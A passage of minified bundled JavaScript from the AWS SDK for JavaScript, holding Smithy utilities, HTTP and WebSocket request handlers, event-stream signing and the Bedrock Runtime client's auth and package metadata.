z=0,w=Y.length;z<w;z++)K.push(`${q}=${uA6.escapeUri(Y[z])}`);else{let z=q;if(Y||typeof Y==="string")z+=`=${uA6.escapeUri(Y)}`;K.push(z)}}return K.join("&")}Cf3.buildQueryString=kf3});var M64=v((yf3)=>{var Rf3=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";yf3.isArrayBuffer=Rf3});var mA6=v((xf3)=>{var Sf3=M64(),BA6=CA("buffer"),hf3=(A,K=0,q=A.byteLength-K)=>{if(!Sf3.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return BA6.Buffer.from(A,K,q)},bf3=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?BA6.Buffer.from(A,K):BA6.Buffer.from(A)};xf3.fromArrayBuffer=hf3;xf3.fromString=bf3});var f64=v((P64)=>{Object.defineProperty(P64,"__esModule",{value:!0});P64.fromBase64=void 0;var mf3=mA6(),gf3=/^[A-Za-z0-9+/]*={0,2}$/,Ff3=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!gf3.exec(A))throw TypeError("Invalid base64 string.");let K=(0,mf3.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};P64.fromBase64=Ff3});var v64=v((N64)=>{Object.defineProperty(N64,"__esModule",{value:!0});N64.toBase64=void 0;var Qf3=mA6(),Uf3=_z(),pf3=(A)=>{let K;if(typeof A==="string")K=(0,Uf3.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,Qf3.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};N64.toBase64=pf3});var C64=v((ULA)=>{var E64=f64(),k64=v64();Object.keys(E64).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(ULA,A))Object.defineProperty(ULA,A,{enumerable:!0,get:function(){return E64[A]}})});Object.keys(k64).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(ULA,A))Object.defineProperty(ULA,A,{enumerable:!0,get:function(){return k64[A]}})})});var y64=v((af3)=>{var L64=SA6(),df3=j64(),cf3=C64();function R64(A,K){return new Request(A,K)}function lf3(A=0){return new Promise((K,q)=>{if(A)setTimeout(()=>{let Y=Error(`Request did not complete within ${A} ms`);Y.name="TimeoutError",q(Y)},A)})}var e41={supported:void 0};class gA6{config;configProvider;static create(A){if(typeof A?.handle==="function")return A;return new gA6(A)}constructor(A){if(typeof A==="function")this.configProvider=A().then((K)=>K||{});else this.config=A??{},this.configProvider=Promise.resolve(this.config);if(e41.supported===void 0)e41.supported=Boolean(typeof Request<"u"&&"keepalive"in R64("https://[::1]"))}destroy(){}async handle(A,{abortSignal:K,requestTimeout:q}={}){if(!this.config)this.config=await this.configProvider;let Y=q??this.config.requestTimeout,z=this.config.keepAlive===!0,w=this.config.credentials;if(K?.aborted){let M=Error("Request aborted");return M.name="AbortError",Promise.reject(M)}let H=A.path,J=df3.buildQueryString(A.query||{});if(J)H+=`?${J}`;if(A.fragment)H+=`#${A.fragment}`;let O="";if(A.username!=null||A.password!=null){let M=A.username??"",P=A.password??"";O=`${M}:${P}@`}let{port:X,method:$}=A,_=`${A.protocol}//${O}${A.hostname}${X?`:${X}`:""}${H}`,G=$==="GET"||$==="HEAD"?void 0:A.body,Z={body:G,headers:new Headers(A.headers),method:$,credentials:w};if(this.config?.cache)Z.cache=this.config.cache;if(G)Z.duplex="half";if(typeof AbortController<"u")Z.signal=K;if(e41.supported)Z.keepalive=z;if(typeof this.config.requestInit==="function")Object.assign(Z,this.config.requestInit(A));let W=()=>{},D=R64(_,Z),j=[fetch(D).then((M)=>{let P=M.headers,f={};for(let T of P.entries())f[T[0]]=T[1];if(M.body==null)return M.blob().then((T)=>({response:new L64.HttpResponse({headers:f,reason:M.statusText,statusCode:M.status,body:T})}));return{response:new L64.HttpResponse({headers:f,reason:M.statusText,statusCode:M.status,body:M.body})}}),lf3(Y)];if(K)j.push(new Promise((M,P)=>{let f=()=>{let N=Error("Request aborted");N.name="AbortError",P(N)};if(typeof K.addEventListener==="function"){let N=K;N.addEventListener("abort",f,{once:!0}),W=()=>N.removeEventListener("abort",f)}else K.onabort=f}));return Promise.race(j).finally(W)}updateHttpClientConfig(A,K){this.config=void 0,this.configProvider=this.configProvider.then((q)=>{return q[A]=K,q})}httpHandlerConfigs(){return this.config??{}}}var if3=async(A)=>{if(typeof Blob==="function"&&A instanceof Blob||A.constructor?.name==="Blob"){if(Blob.prototype.arrayBuffer!==void 0)return new Uint8Array(await A.arrayBuffer());return nf3(A)}return rf3(A)};async function nf3(A){let K=await of3(A),q=cf3.fromBase64(K);return new Uint8Array(q)}async function rf3(A){let K=[],q=A.getReader(),Y=!1,z=0;while(!Y){let{done:J,value:O}=await q.read();if(O)K.push(O),z+=O.length;Y=J}let w=new Uint8Array(z),H=0;for(let J of K)w.set(J,H),H+=J.length;return w}function of3(A){return new Promise((K,q)=>{let Y=new FileReader;Y.onloadend=()=>{if(Y.readyState!==2)return q(Error("Reader aborted too early"));let z=Y.result??"",w=z.indexOf(","),H=w>-1?w+1:z.length;K(z.substring(H))},Y.onabort=()=>q(Error("Read aborted")),Y.onerror=()=>q(Y.error),Y.readAsDataURL(A)})}af3.FetchHttpHandler=gA6;af3.keepAliveSupport=e41;af3.streamCollector=if3});var u64=v((jN3)=>{var AN3=gLA(),KN3=K64(),FA6=SA6(),qN3=X64(),S64=Z64(),I64=y64(),YN3=(A,K,q,Y)=>{let z=A,w={start(){},async transform(H,J){try{let O=new Date(Date.now()+await Y()),X={":date":{type:"timestamp",value:O}},$=await K.sign({message:{body:H,headers:X},priorSignature:z},{signingDate:O});z=$.signature;let _=q.encode({headers:{...X,":chunk-signature":{type:"binary",value:KN3.fromHex($.signature)}},body:H});J.enqueue(_)}catch(O){J.error(O)}}};return new TransformStream({...w})};class h64{messageSigner;eventStreamCodec;systemClockOffsetProvider;constructor(A){this.messageSigner=A.messageSigner,this.eventStreamCodec=new AN3.EventStreamCodec(A.utf8Encoder,A.utf8Decoder),this.systemClockOffsetProvider=async()=>A.systemClockOffset??0}async handle(A,K,q={}){let Y=K.request,{body:z,headers:w,query:H}=Y;if(!(z instanceof ReadableStream))throw Error("Eventstream payload must be a ReadableStream.");let J=new TransformStream;Y.body=J.readable;let O;try{O=await A(K)}catch(Z){throw Y.body.cancel(),Z}let $=((w.authorization||"").match(/Signature=([\w]+)$/)||[])[1]||H&&H["X-Amz-Signature"]||"",_=YN3($,await this.messageSigner(),this.eventStreamCodec,this.systemClockOffsetProvider);return z.pipeThrough(_).pipeThrough(J),O}}var zN3=(A)=>new h64(A),wN3=()=>(A)=>async(K)=>{let q={...K.input},Y=await A(K),z=Y.output;if(q.SessionId&&z.SessionId==null)z.SessionId=q.SessionId;return Y},HN3={step:"initialize",name:"injectSessionIdMiddleware",tags:["WEBSOCKET","EVENT_STREAM"],override:!0},JN3=(A,K)=>(q)=>(Y)=>{let{request:z}=Y;if(FA6.HttpRequest.isInstance(z)&&A.requestHandler.metadata?.handlerProtocol?.toLowerCase().includes("websocket")){z.protocol="wss:",z.method="GET",z.path=`${z.path}-websocket`;let{headers:w}=z;delete w["content-type"],delete w["x-amz-content-sha256"];for(let H of Object.keys(w))if(H.indexOf(K.headerPrefix)===0){let J=H.replace(K.headerPrefix,"");z.query[J]=w[H]}if(w["x-amz-user-agent"])z.query["user-agent"]=w["x-amz-user-agent"];z.headers={host:w.host??z.hostname}}return q(Y)},ON3={name:"websocketEndpointMiddleware",tags:["WEBSOCKET","EVENT_STREAM"],relation:"after",toMiddleware:"eventStreamHeaderMiddleware",override:!0},XN3=(A,K)=>({applyToStack:(q)=>{q.addRelativeTo(JN3(A,K),ON3),q.add(wN3(),HN3)}}),b64=(A)=>A.protocol==="ws:"||A.protocol==="wss:";class x64{signer;constructor(A){this.signer=A.signer}presign(A,K={}){return this.signer.presign(A,K)}async sign(A,K){if(FA6.HttpRequest.isInstance(A)&&b64(A))return{...await this.signer.presign({...A,body:""},{...K,expiresIn:60,unsignableHeaders:new Set(Object.keys(A.headers).filter((Y)=>Y!=="host"))}),body:A.body};else return this.signer.sign(A,K)}}var $N3=(A)=>{let{signer:K}=A;return Object.assign(A,{signer:async(q)=>{let Y=await K(q);if(_N3(Y))return new x64({signer:Y});throw Error("Expected WebsocketSignatureV4 signer, please check the client constructor.")}})},_N3=(A)=>!!A,GN3=2000;class QA6{metadata={handlerProtocol:"websocket/h1.1"};config;configPromise;httpHandler;sockets={};static create(A,K=new I64.FetchHttpHandler){if(typeof A?.handle==="function")return A;return new QA6(A,K)}constructor(A,K=new I64.FetchHttpHandler){if(this.httpHandler=K,typeof A==="function")this.config={},this.configPromise=A().then((q)=>this.config=q??{});else this.config=A??{},this.configPromise=Promise.resolve(this.config)}destroy(){for(let[A,K]of Object.entries(this.sockets)){for(let q of K)q.close(1000,"Socket closed through destroy() call");delete this.sockets[A]}}async handle(A){if(!b64(A))return this.httpHandler.handle(A);let K=qN3.formatUrl(A),q=new WebSocket(K);if(!this.sockets[K])this.sockets[K]=[];this.sockets[K].push(q),q.binaryType="arraybuffer",this.config=await this.configPromise;let{connectionTimeout:Y=GN3}=this.config;await this.waitForReady(q,Y);let{body:z}=A,w=ZN3(z),H=this.connect(q,w),J=WN3(H);return{response:new FA6.HttpResponse({statusCode:200,body:J})}}updateHttpClientConfig(A,K){this.configPromise=this.configPromise.then((q)=>{return q[A]=K,q})}httpHandlerConfigs(){return this.config??{}}removeNotUsableSockets(A){this.sockets[A]=(this.sockets[A]??[]).filter((K)=>![WebSocket.CLOSING,WebSocket.CLOSED].includes(K.readyState))}waitForReady(A,K){return new Promise((q,Y)=>{let z=setTimeout(()=>{this.removeNotUsableSockets(A.url),Y({$metadata:{httpStatusCode:500}})},K);A.onopen=()=>{clearTimeout(z),q()}})}connect(A,K){let q=void 0,Y=!1,z=()=>{},w=()=>{};A.onmessage=(O)=>{w({done:!1,value:new Uint8Array(O.data)})},A.onerror=(O)=>{Y=!0,A.close(),z(O)},A.onclose=()=>{if(this.removeNotUsableSockets(A.url),Y)return;if(q)z(q);else w({done:!0,value:void 0})};let H={[Symbol.asyncIterator]:()=>({next:()=>{return new Promise((O,X)=>{w=O,z=X})}})};return(async()=>{try{for await(let O of K)A.send(O)}catch(O){q=O}finally{A.close(1000)}})(),H}}var ZN3=(A)=>{if(A[Symbol.asyncIterator])return A;if(DN3(A))return S64.readableStreamtoIterable(A);return{[Symbol.asyncIterator]:async function*(){yield A}}},WN3=(A)=>typeof ReadableStream==="function"?S64.iterableToReadableStream(A):A,DN3=(A)=>typeof ReadableStream==="function"&&A instanceof ReadableStream;jN3.WebSocketFetchHandler=QA6;jN3.eventStreamPayloadHandlerProvider=zN3;jN3.getWebSocketPlugin=XN3;jN3.resolveWebSocketConfig=$N3});var B64=v((TN3)=>{var NN3=(A)=>Object.assign(A,{eventStreamMarshaller:A.eventStreamSerdeProvider(A)});TN3.resolveEventStreamSerdeConfig=NN3});var nA6=v((yN3)=>{yN3.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(yN3.HttpAuthLocation||(yN3.HttpAuthLocation={}));yN3.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(yN3.HttpApiKeyAuthLocation||(yN3.HttpApiKeyAuthLocation={}));yN3.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(yN3.EndpointURLScheme||(yN3.EndpointURLScheme={}));yN3.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(yN3.AlgorithmId||(yN3.AlgorithmId={}));var EN3=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>yN3.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>yN3.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},kN3=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},CN3=(A)=>{return EN3(A)},LN3=(A)=>{return kN3(A)};yN3.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(yN3.FieldPosition||(yN3.FieldPosition={}));var RN3="__smithy_context";yN3.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(yN3.IniSectionType||(yN3.IniSectionType={}));yN3.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(yN3.RequestHandlerProtocol||(yN3.RequestHandlerProtocol={}));yN3.SMITHY_CONTEXT_KEY=RN3;yN3.getDefaultClientConfiguration=CN3;yN3.resolveDefaultRuntimeConfig=LN3});var dLA=v((oOA)=>{var F64=Fb(),tA6=VV(),oA6=nA6(),bN3=DJ(),m64=PV();class Q64{config;middlewareStack=F64.constructStack();initConfig;handlers;constructor(A){this.config=A}send(A,K,q){let Y=typeof K!=="function"?K:void 0,z=typeof K==="function"?K:q,w=Y===void 0&&this.config.cacheMiddleware===!0,H;if(w){if(!this.handlers)this.handlers=new WeakMap;let J=this.handlers;if(J.has(A.constructor))H=J.get(A.constructor);else H=A.resolveMiddleware(this.middlewareStack,this.config,Y),J.set(A.constructor,H)}else delete this.handlers,H=A.resolveMiddleware(this.middlewareStack,this.config,Y);if(z)H(A).then((J)=>z(null,J.output),(J)=>z(J)).catch(()=>{});else return H(A).then((J)=>J.output)}destroy(){this.config?.requestHandler?.destroy?.(),delete this.handlers}}var rA6="***SensitiveInformation***";function aA6(A,K){if(K==null)return K;let q=bN3.NormalizedSchema.of(A);if(q.getMergedTraits().sensitive)return rA6;if(q.isListSchema()){if(!!q.getValueSchema().getMergedTraits().sensitive)return rA6}else if(q.isMapSchema()){if(!!q.getKeySchema().getMergedTraits().sensitive||!!q.getValueSchema().getMergedTraits().sensitive)return rA6}else if(q.isStructSchema()&&typeof K==="object"){let Y=K,z={};for(let[w,H]of q.structIterator())if(Y[w]!=null)z[w]=aA6(H,Y[w]);return z}return K}class eA6{middlewareStack=F64.constructStack();schema;static classBuilder(){return new U64}resolveMiddlewareWithContext(A,K,q,{middlewareFn:Y,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,smithyContext:O,additionalContext:X,CommandCtor:$}){for(let D of Y.bind(this)($,A,K,q))this.middlewareStack.use(D);let _=A.concat(this.middlewareStack),{logger:G}=K,Z={logger:G,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,[oA6.SMITHY_CONTEXT_KEY]:{commandInstance:this,...O},...X},{requestHandler:W}=K;return _.resolve((D)=>W.handle(D.request,q||{}),Z)}}class U64{_init=()=>{};_ep={};_middlewareFn=()=>[];_commandName="";_clientName="";_additionalContext={};_smithyContext={};_inputFilterSensitiveLog=void 0;_outputFilterSensitiveLog=void 0;_serializer=null;_deserializer=null;_operationSchema;init(A){this._init=A}ep(A){return this._ep=A,this}m(A){return this._middlewareFn=A,this}s(A,K,q={}){return this._smithyContext={service:A,operation:K,...q},this}c(A={}){return this._additionalContext=A,this}n(A,K){return this._clientName=A,this._commandName=K,this}f(A=(q)=>q,K=(q)=>q){return this._inputFilterSensitiveLog=A,this._outputFilterSensitiveLog=K,this}ser(A){return this._serializer=A,this}de(A){return this._deserializer=A,this}sc(A){return this._operationSchema=A,this._smithyContext.operationSchema=A,this}build(){let A=this,K;return K=class extends eA6{input;static getEndpointParameterInstructions(){return A._ep}constructor(...[q]){super();this.input=q??{},A._init(this),this.schema=A._operationSchema}resolveMiddleware(q,Y,z){let w=A._operationSchema,H=w?.[4]??w?.input,J=w?.[5]??w?.output;return this.resolveMiddlewareWithContext(q,Y,z,{CommandCtor:K,middlewareFn:A._middlewareFn,clientName:A._clientName,commandName:A._commandName,inputFilterSensitiveLog:A._inputFilterSensitiveLog??(w?aA6.bind(null,H):(O)=>O),outputFilterSensitiveLog:A._outputFilterSensitiveLog??(w?aA6.bind(null,J):(O)=>O),smithyContext:A._smithyContext,additionalContext:A._additionalContext})}serialize=A._serializer;deserialize=A._deserializer}}}var xN3="***SensitiveInformation***",uN3=(A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}};class rOA extends Error{$fault;$response;$retryable;$metadata;constructor(A){super(A.message);Object.setPrototypeOf(this,Object.getPrototypeOf(this).constructor.prototype),this.name=A.name,this.$fault=A.$fault,this.$metadata=A.$metadata}static isInstance(A){if(!A)return!1;let K=A;return rOA.prototype.isPrototypeOf(K)||Boolean(K.$fault)&&Boolean(K.$metadata)&&(K.$fault==="client"||K.$fault==="server")}static[Symbol.hasInstance](A){if(!A)return!1;let K=A;if(this===rOA)return rOA.isInstance(A);if(rOA.isInstance(A)){if(K.name&&this.name)return this.prototype.isPrototypeOf(A)||K.name===this.name;return this.prototype.isPrototypeOf(A)}return!1}}var p64=(A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},d64=({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=mN3(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:K?.code||K?.Code||Y||w||"UnknownError",$fault:"client",$metadata:z});throw p64(H,K)},BN3=(A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{d64({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},mN3=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),gN3=(A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},g64=!1,FN3=(A)=>{if(A&&!g64&&parseInt(A.substring(1,A.indexOf(".")))<16)g64=!0},QN3=(A)=>{let K=[];for(let q in oA6.AlgorithmId){let Y=oA6.AlgorithmId[q];if(A[Y]===void 0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},UN3=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},pN3=(A)=>{return{setRetryStrategy(K){A.retryStrategy=K},retryStrategy(){return A.retryStrategy}}},dN3=(A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},c64=(A)=>{return Object.assign(QN3(A),pN3(A))},cN3=c64,lN3=(A)=>{return Object.assign(UN3(A),dN3(A))},iN3=(A)=>Array.isArray(A)?A:[A],l64=(A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=l64(A[q]);return A},nN3=(A)=>{return A!=null};class i64{trace(){}debug(){}info(){}warn(){}error(){}}function n64(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,aN3(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}r64(Y,null,w,H)}return Y}var rN3=(A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},oN3=(A,K)=>{let q={};for(let Y in K)r64(q,A,K,Y);return q},aN3=(A,K,q)=>{return n64(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},r64=(A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=sN3,O=tN3,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},sN3=(A)=>A!=null,tN3=(A)=>A,eN3=(A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},AT3=(A)=>A.toISOString().replace(".000Z","Z"),sA6=(A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(sA6);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=sA6(A[q])}return K}return A};Object.defineProperty(oOA,"collectBody",{enumerable:!0,get:function(){return tA6.collectBody}});Object.defineProperty(oOA,"extendedEncodeURIComponent",{enumerable:!0,get:function(){return tA6.extendedEncodeURIComponent}});Object.defineProperty(oOA,"resolvedPath",{enumerable:!0,get:function(){return tA6.resolvedPath}});oOA.Client=Q64;oOA.Command=eA6;oOA.NoOpLogger=i64;oOA.SENSITIVE_STRING=xN3;oOA.ServiceException=rOA;oOA._json=sA6;oOA.convertMap=rN3;oOA.createAggregatedClient=uN3;oOA.decorateServiceException=p64;oOA.emitWarningIfUnsupportedVersion=FN3;oOA.getArrayIfSingleItem=iN3;oOA.getDefaultClientConfiguration=cN3;oOA.getDefaultExtensionConfiguration=c64;oOA.getValueFromTextNode=l64;oOA.isSerializableHeaderValue=nN3;oOA.loadConfigsForDefaultMode=gN3;oOA.map=n64;oOA.resolveDefaultRuntimeConfig=lN3;oOA.serializeDateTime=AT3;oOA.serializeFloat=eN3;oOA.take=oN3;oOA.throwDefaultError=d64;oOA.withBaseException=BN3;Object.keys(m64).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(oOA,A))Object.defineProperty(oOA,A,{enumerable:!0,get:function(){return m64[A]}})})});var q16=v((o64)=>{Object.defineProperty(o64,"__esModule",{value:!0});o64.resolveHttpAuthSchemeConfig=o64.defaultBedrockRuntimeHttpAuthSchemeProvider=o64.defaultBedrockRuntimeHttpAuthSchemeParametersProvider=void 0;var ET3=aw(),A16=Gz(),K16=WD(),kT3=async(A,K,q)=>{return{operation:(0,K16.getSmithyContext)(K).operation,region:await(0,K16.normalizeProvider)(A.region)()||(()=>{throw Error("expected `region` to be configured for `aws.auth#sigv4`")})()}};o64.defaultBedrockRuntimeHttpAuthSchemeParametersProvider=kT3;function CT3(A){return{schemeId:"aws.auth#sigv4",signingProperties:{name:"bedrock",region:A.region},propertiesExtractor:(K,q)=>({signingProperties:{config:K,context:q}})}}function LT3(A){return{schemeId:"smithy.api#httpBearerAuth",propertiesExtractor:({profile:K,filepath:q,configFilepath:Y,ignoreCache:z},w)=>({identityProperties:{profile:K,filepath:q,configFilepath:Y,ignoreCache:z}})}}var RT3=(A)=>{let K=[];switch(A.operation){default:K.push(CT3(A)),K.push(LT3(A))}return K};o64.defaultBedrockRuntimeHttpAuthSchemeProvider=RT3;var yT3=(A)=>{let K=(0,A16.memoizeIdentityProvider)(A.token,A16.isIdentityExpired,A16.doesIdentityRequireRefresh),q=(0,ET3.resolveAwsSdkSigV4Config)(A);return Object.assign(q,{authSchemePreference:(0,K16.normalizeProvider)(A.authSchemePreference??[]),token:K})};o64.resolveHttpAuthSchemeConfig=yT3});var s64=v((k1w,hT3)=>{hT3.exports={name:"@aws-sdk/client-bedrock-runtime",description:"AWS SDK for JavaScript Bedrock Runtime Client for Node.js, Browser and React Native",version:"3.936.0",scripts:{build:"concurrently 'yarn:build:cjs' 'yarn:build:es' 'yarn:build:types'","build:cjs":"node ../../scripts/compilation/inline client-bedrock-runtime","build:es":"tsc -p tsconfig.es.json","build:include:deps":"lerna run --scope $npm_package_name --include-dependencies build","build:types":"tsc -p tsconfig.types.json","build:types:downlevel":"downlevel-dts dist-types dist-types/ts3.4",clean:"rimraf ./dist-* && rimraf *.tsbuildinfo","extract:docs":"api-extractor run --local","generate:client":"node ../../scripts/generate-clients/single-service --solo bedrock-runtime"},main:"./dist-cjs/index.js",types:"./dist-types/index.d.ts",module:"./dist-es/index.js",sideEffects:!1,dependencies:{"@aws-crypto/sha256-browser":"5.2.0","@aws-crypto/sha256-js":"5.2.0","@aws-sdk/core":"3.936.0","@aws-sdk/credential-provider-node":"3.936.0","@aws-sdk/eventstream-handler-node":"3.936.0","@aws-sdk/middleware-eventstream":"3.936.0","@aws-sdk/middleware-host-header":"3.936.0","@aws-sdk/middleware-logger":"3.936.0","@aws-sdk/middleware-recursion-detection":"3.936.0","@aws-sdk/middleware-user-agent":"3.936.0","@aws-sdk/middleware-websocket":"3.936.0","@aws-sdk/region-config-resolver":"3.936.0","@aws-sdk/token-providers":"3.936.0","@aws-sdk/types":"3.936.0","@aws-sdk/util-endpoints":"3.936.0","@aws-sdk/util-user-agent-browser":"3.936.0","@aws-sdk/util-user-agent-node":"3.936.0","@smithy/config-resolver":"^4.4.3","@smithy/core":"^3.18.5","@smithy/eventstream-serde-browser":"^4.2.5","@smithy/eventstream-serde-config-resolver":"^4.3.5","@smithy/eventstream-serde-node":"^4.2.5","@smithy/fetch-http-handler":"^5.3.6","@smithy/hash-node":"^4.2.5","@smithy/invalid-dependency":"^4.2.5","@smithy/middleware-content-length":"^4.2.5","@smithy/middleware-endpoint":"^4.3.12","@smithy/middleware-retry":"^4.4.12","@smithy/middleware-serde":"^4.2.6","@smithy/middleware-stack":"^4.2.5","@smithy/node-config-provider":"^4.3.5","@smithy/node-http-handler":"^4.4.5","@smithy/protocol-http":"^5.3.5","@smithy/smithy-client":"^4.9.8","@smithy/types":"^4.9.0","@smithy/url-parser":"^4.2.5","@smithy/util-base64":"^4.3.0","@smithy/util-body-length-browser":"^4.2.0","@smithy/util-body-length-node":"^4.2.1","@smithy/util-defaults-mode-browser":"^4.3.11","@smithy/util-defaults-mode-node":"^4.2.14","@smithy/util-endpoints":"^3.2.5","@smithy/util-middleware":"^4.2.5","@smithy/util-retry":"^4.2.5","@smithy/util-stream":"^4.5.6","@smithy/util-utf8":"^4.2.0",tslib:"^2.6.2"},devDependencies:{"@tsconfig/node18":"18.2.4","@types/node":"^18.19.69",concurrently:"7.0.0","downlevel-dts":"0.10.1",rimraf:"3.0.2",typescript:"~5.8.3"},engines:{node:">=18.0.0"},typesVersions:{"<4.0":{"dist-types/*":["dist-types/ts3.4/*"]}},files:["dist-*/**"],author:{name:"AWS SDK for JavaScript Team",url:"https://aws.amazon.com/javascript/"},license:"Apache-2.0",browser:{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.browser"},"react-native":{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.native"},homepage:"https://github.com/aws/aws-sdk-js-v3/tree/main/clients/client-bedrock-runtime",repository:{type:"git",url:"https://github.com/aws/aws-sdk-js-v3.git",directory:"clients/client-bedrock-runtime"}}});var A84=v((BT3)=>{var bT3=gLA(),A71=CA("stream");class t64 extends A71.Transform{priorSignature;messageSigner;eventStreamCodec;systemClockOffsetProvider;constructor(A){super({autoDestroy:!0,readableObjectMode:!0,writableObjectMode:!0,...A});this.priorSignature=A.priorSignature,this.eventStreamCodec=A.eventStreamCodec,this.messageSigner=A.messageSigner,this.systemClockOffsetProvider=A.systemClockOffsetProvider}async _transform(A,K,q){try{let Y=new Date(Date.now()+await this.systemClockOffsetProvider()),z={":date":{type:"timestamp",value:Y}},w=await this.messageSigner.sign({message:{body:A,headers:z},priorSignature:this.priorSignature},{signingDate:Y});this.priorSignature=w.signature;let H=this.eventStreamCodec.encode({headers:{...z,":chunk-signature":{type:"binary",value:xT3(w.signature)}},body:A});return this.push(H),q()}catch(Y){q(Y)}}}function xT3(A){let K=Buffer.from(A,"hex");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength/Uint8Array.BYTES_PER_ELEMENT)}class e64{messageSigner;eventStreamCodec;systemClockOffsetProvider;constructor(A){this.messageSigner=A.messageSigner,this.eventStreamCodec=new bT3.EventStreamCodec(A.utf8Encoder,A.utf8Decoder),this.systemClockOffsetProvider=async()=>A.systemClockOffset??0}async handle(A,K,q={}){let Y=K.request,{body:z,query:w}=Y;if(!(z instanceof A71.Readable))throw Error("Eventstream payload must be a Readable stream.");let H=z;Y.body=new A71.PassThrough({objectMode:!0});let O=Y.headers?.authorization?.match(/Signature=([\w]+)$/)?.[1]??w?.["X-Amz-Signature"]??"",X=new t64({priorSignature:O,eventStreamCodec:this.eventStreamCodec,messageSigner:await this.messageSigner(),systemClockOffsetProvider:this.systemClockOffsetProvider});A71.pipeline(H,X,Y.body,(_)=>{if(_)throw _});let $;try{$=await A(K)}catch(_){throw Y.body.end(),_}return $}}var uT3=(A)=>new e64(A);BT3.eventStreamPayloadHandlerProvider=uT3});var 